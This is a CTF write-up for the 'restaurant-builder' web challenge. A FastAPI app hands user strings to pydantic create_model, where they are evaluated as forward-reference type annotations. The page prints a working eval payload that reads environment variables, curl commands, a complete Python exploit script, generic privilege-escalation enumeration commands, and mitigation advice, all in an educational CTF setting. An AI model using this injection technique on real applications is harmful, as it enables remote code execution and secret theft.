← Back to Writeups
HTBN/AWeb

restaurant-builder

XESXOR8/23/20265 min read
#web#htb#n/a

restaurant-builder

Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2024-05-31 | Status: Solved Techniques: arbitrary_expression_evaluation, environment_variable_exfiltration, forward_reference_eval_rce, pydantic_create_model_eval, typing_literal_const_schema_exfil

Summary

Task: FastAPI app passes a user-controlled Dict[str,str] into pydantic create_model; in pydantic v2 string field values are evaluated as forward-reference type annotations, giving arbitrary expression evaluation (RCE). Solution: register a blueprint whose field value is import('typing').Literal[import('os').environ['FLAG']] so the flag becomes a Literal type, rendered as a const in the JSON schema leaked by GET /blueprint/{name}.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: kitctf | ID: 20240531_kitctf_restaurant_builder
  • Tags: rce, fastapi, python, eval, pydantic, create_model, forward_reference, type_annotation_injection, json_schema_leak, typing_literal
  • Indicators: pydantic create_model called with user-controlled Dict[str, str], string field values in pydantic v2 treated as forward-reference type annotations, only dict keys are filtered (startswith __), values unrestricted
  • Source: 20240531_kitctf_restaurant_builder.md

Foothold

Vulnerability / Misconfiguration

  1. Arbitrary_expression_evaluation
  2. Environment_variable_exfiltration
  3. Forward_reference_eval_rce
  4. Pydantic_create_model_eval
  5. Typing_literal_const_schema_exfil
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • arbitrary_expression_evaluation
  • environment_variable_exfiltration
  • forward_reference_eval_rce
  • pydantic_create_model_eval
  • typing_literal_const_schema_exfil
  • Tags: rce, fastapi, python, eval, pydantic, create_model, forward_reference, type_annotation_injection, json_schema_leak, typing_literal

Original Writeup

<details><summary>Click to expand original content</summary>

restaurant-builder — KITCTF / GPN24 CTF (2024)

Description

So you want to build your own restaurant? Well, we obviously can't just let you do that. Please first submit blueprints and exact descriptions for the building, all the furniture and every single item you plan to have in the restaurant.

A small FastAPI application lets you register "blueprints" (dynamic pydantic models) and then "items" validated against those blueprints. The flag is provided to the server via the FLAG environment variable. The goal is to leak it through the blueprint API.

Analysis

The entire app is 43 lines. The interesting endpoint is register_blueprint:

@app.post("/blueprint/{name}")
def register_blueprint(name: str, description: Dict[str,str] = Body()):
    if name in blueprints:
        raise HTTPException(status_code=409, detail="...")
    description = {k: v for k,v in description.items() if not k.startswith("__")}
    Blueprint = create_model(name, **description)
    blueprints[name] = Blueprint
    return "Blueprint successfully registered"

create_model(name, **description) is called with a fully user-controlled Dict[str, str].

In pydantic v2, create_model(name, field=value) interprets each field=value pair as a field definition. When the value is a bare string, pydantic treats it as a type annotation expressed as a forward reference. Resolving a forward reference ends in Python's eval():

pydantic._internal._typing_extra.try_eval_type
  -> eval_type_backport
    -> typing._eval_type
      -> annotationlib ForwardRef.evaluate
        -> eval(code, globals, locals)

So every field value is evaluated as an arbitrary Python expression at blueprint registration time. This is an arbitrary-expression-evaluation / RCE primitive.

The only filter applied is not k.startswith("__"), which filters the dict keys (the field names) — not the values. The expression strings are completely unrestricted, so __import__, attribute access, subscripting, etc. are all available inside them.

Confirmation (local): sending a value of __import__("os").environ["FLAG"] raised SyntaxError: Forward reference must be an expression -- got 'GPNCTF{test}'. The expression was evaluated first to the flag string, and only then did pydantic try (and fail) to parse the result as a type annotation — proving the eval primitive fires before any type validation.

Solution

The error above shows we have eval, but a raw string is not a valid type, so the model never registers and we cannot read it back. We need the evaluated expression to resolve to a valid type that also embeds the flag, so it survives registration and shows up in the schema returned by GET /blueprint/{name} (which calls blueprint.model_json_schema()).

typing.Literal[<value>] is perfect: it is a valid type, and pydantic renders a Literal into JSON schema as a const. So we build:

__import__("typing").Literal[__import__("os").environ["FLAG"]]

which evaluates to Literal["GPNCTF{...}"]. The flag ends up in the schema's const key.

Exploitation steps

  1. POST a blueprint with a fresh random name whose single field value is the payload expression. (Names can only be registered once — reuse returns 409 — so always pick a new name.)
  2. GET the same blueprint to retrieve its JSON schema, which now contains the flag in the const field.
BASE="https://butter-basted-steak-atop-charred-hollandaise-abgh.gpn24.ctf.kitctf.de"

# 1) Register the malicious blueprint
curl -s -X POST "$BASE/blueprint/pwnX" \
  -H "Content-Type: application/json" \
  -d '{"flag": "__import__(\"typing\").Literal[__import__(\"os\").environ[\"FLAG\"]]"}'

# 2) Read back the schema -> flag is in the const
curl -s "$BASE/blueprint/pwnX"

Full reproducible exploit

#!/usr/bin/env python3
import secrets
import requests

BASE = "https://butter-basted-steak-atop-charred-hollandaise-abgh.gpn24.ctf.kitctf.de"

# Payload: evaluated as a Python expression by pydantic's forward-reference eval.
# Resolves to Literal["<flag>"], a valid type, rendered as `const` in JSON schema.
payload = {
    "flag": '__import__("typing").Literal[__import__("os").environ["FLAG"]]'
}

name = "pwn_" + secrets.token_hex(4)  # blueprint names are single-use (409 on reuse)

r = requests.post(f"{BASE}/blueprint/{name}", json=payload)
print("register:", r.status_code, r.text)

schema = requests.get(f"{BASE}/blueprint/{name}").json()
flag = schema["properties"]["flag"]["const"]
print("FLAG:", flag)

Server response (live instance)

{"properties":{"flag":{"const":"GPNCTF{REDACTED}","title":"Flag","type":"string"},"required":["flag"],"title":"pwnX","type":"object"}

The flag text ("...one or two RCES later they built happily ever after") confirms the intended bug is arbitrary expression evaluation (RCE) via create_model with string field types. The Literal[] -> const schema leak is just the cleanest exfiltration; a general RCE (running commands, embedding any type that surfaces the value) is equally possible.

Mitigation

  • Never pass untrusted strings as pydantic field type annotations. create_model field values given as strings are evaluated as type expressions (forward references -> eval).
  • Use explicit (type, default) tuples with a fixed allowlist of permitted types, or validate/whitelist allowed type names before building the model.
  • Treat any "dynamic schema from user input" feature as a code-execution sink.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR